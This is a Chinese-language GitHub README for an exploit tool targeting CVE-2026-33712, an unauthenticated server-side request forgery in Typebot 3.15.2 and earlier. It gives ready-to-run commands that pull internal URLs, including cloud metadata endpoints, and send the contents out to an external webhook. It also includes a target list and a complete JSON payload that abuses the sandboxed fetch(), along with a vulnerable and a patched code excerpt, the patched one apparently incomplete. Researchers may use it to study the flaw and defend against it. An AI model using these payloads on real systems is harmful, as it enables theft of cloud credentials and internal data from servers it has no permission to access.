portbuster1337/CVE-2026-33712
GitHub: portbuster1337/CVE-2026-33712
针对 Typebot 3.15.2 及以下版本 isolated-vm 沙箱 fetch 未校验导致的未授权 SSRF 漏洞的自动化检测与利用工具。
Stars: 0 | Forks: 0
# CVE-2026-33712 - Typebot 未授权 SSRF
## 描述
**Typebot <= 3.15.2**(已在 3.16.0 版本中修复)在预览聊天 endpoint 中存在一个未授权的服务器端请求伪造(SSRF)漏洞。
**Endpoint:** `POST /api/v1/typebots/{typebotId}/preview/startChat`
该预览 endpoint 接受带有服务器端 Code 块的用户提供的 typebot 定义。在 `isolated-vm` sandbox 中暴露的 `fetch()` 函数调用 Node.js 原生 fetch 时,**没有**进行 `validateHttpReqUrl()` SSRF 验证,而该验证是用于保护常规 HTTP Request 块的。这绕过了所有的 SSRF 缓解措施。
## 免责声明
本工具仅用于教育目的和授权的安全测试。未经授权对你不拥有或没有明确测试许可的系统使用本工具是违法的。作者不对因使用本工具而造成的任何滥用或损害负责。
## 影响
- 云凭证窃取(AWS IMDS、GCP metadata、Azure IMDS)
- 访问 Docker 容器和私有子网的内部网络
- 从内部服务中外泄数据
- 通过 `__ENV.js` 泄露 SMTP_FROM / 管理员邮箱
## 文件
| 文件 | 描述 |
|------|-------------|
| `exploit.py` | 主利用脚本 |
| `endpoints.txt` | 每行一个 URL — 用于扫描的 SSRF 目标 |
| `requirements.txt` | Python 依赖项 |
## 用法
```
pip install -r requirements.txt
# 单个 SSRF 请求
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# 扫描 endpoints.txt 中的所有 URL
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# 从 builder 的 __ENV.js 自动检测 viewer URL
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# 跳过 pre-flight 并强制执行
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
```
## 参数
| 参数 | 描述 |
|-----|-------------|
| `-t` / `--target` | Typebot 实例 URL(viewer 或 builder)。Scheme 默认为 `http://` |
| `-u` / `--url` | 通过 SSRF 获取的内部 URL(单次模式) |
| `-w` / `--webhook` | 用于接收外泄数据的 Webhook URL(或使用 `WEBHOOK_URL` 环境变量) |
| `--scan` | 扫描 `endpoints.txt` 中的所有 URL |
| `--detect-viewer` | 探测目标上的 `/__ENV.js` 以查找 `NEXT_PUBLIC_VIEWER_URL` 并使用它 |
| `--force` | 跳过 pre-flight 检查并强制执行 |
| `--timeout` | 请求超时时间(默认:20秒) |
| `--delay` | 扫描请求之间的延迟(默认:0.3秒) |
## 行为
1. **自动 Scheme** — 如果你传入不带 `http://` 的 `bot.example.com`,它会自动在前面添加该前缀。
2. **Pre-flight** — 在发送任何请求之前,脚本会探测目标并将其分类为 `vulnerable`(易受攻击)、`patched`(已修补,需要身份验证)或 `endpoint_missing`(URL/版本错误)。除非设置了 `--force`,否则失败时会提前退出。
3. **扫描模式** — 读取 `endpoints.txt`,遍历每个 URL,并将内容外泄到 webhook。
4. **数据外泄** — 内容作为 POST body 发送到 webhook URL(而不是作为查询参数),从而避免 URL 长度限制。
## endpoints.txt
每行一个原始 URL。空行将被忽略。无注释,无分类。
```
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
```
## 漏洞代码路径
在 `packages/variables/src/executeFunction.ts` 中,`isolated-vm` sandbox 中暴露的 `fetch()` 最初在调用 Node.js 原生 fetch 时没有进行 SSRF 验证:
```
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
```
修复(提交 `d96f572`)还重新调整了 `getTypebot()` 中的检查顺序,使身份验证在自定义 typebot 快捷方式**之前**运行,并将 viewer 的预览 endpoint 从 `procedureWithOptionalUser` 移至 `protectedProcedure`。
## Payload 结构
```
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
```
**重要提示:** sandbox 内的 `fetch()` 已经返回了 `.text()`,因此结果是一个**字符串**,而不是 `Response` 对象。
标签:CISA项目, MITM代理, PoC, Python, SSRF, StruQ, 无后门, 暴力破解, 逆向工具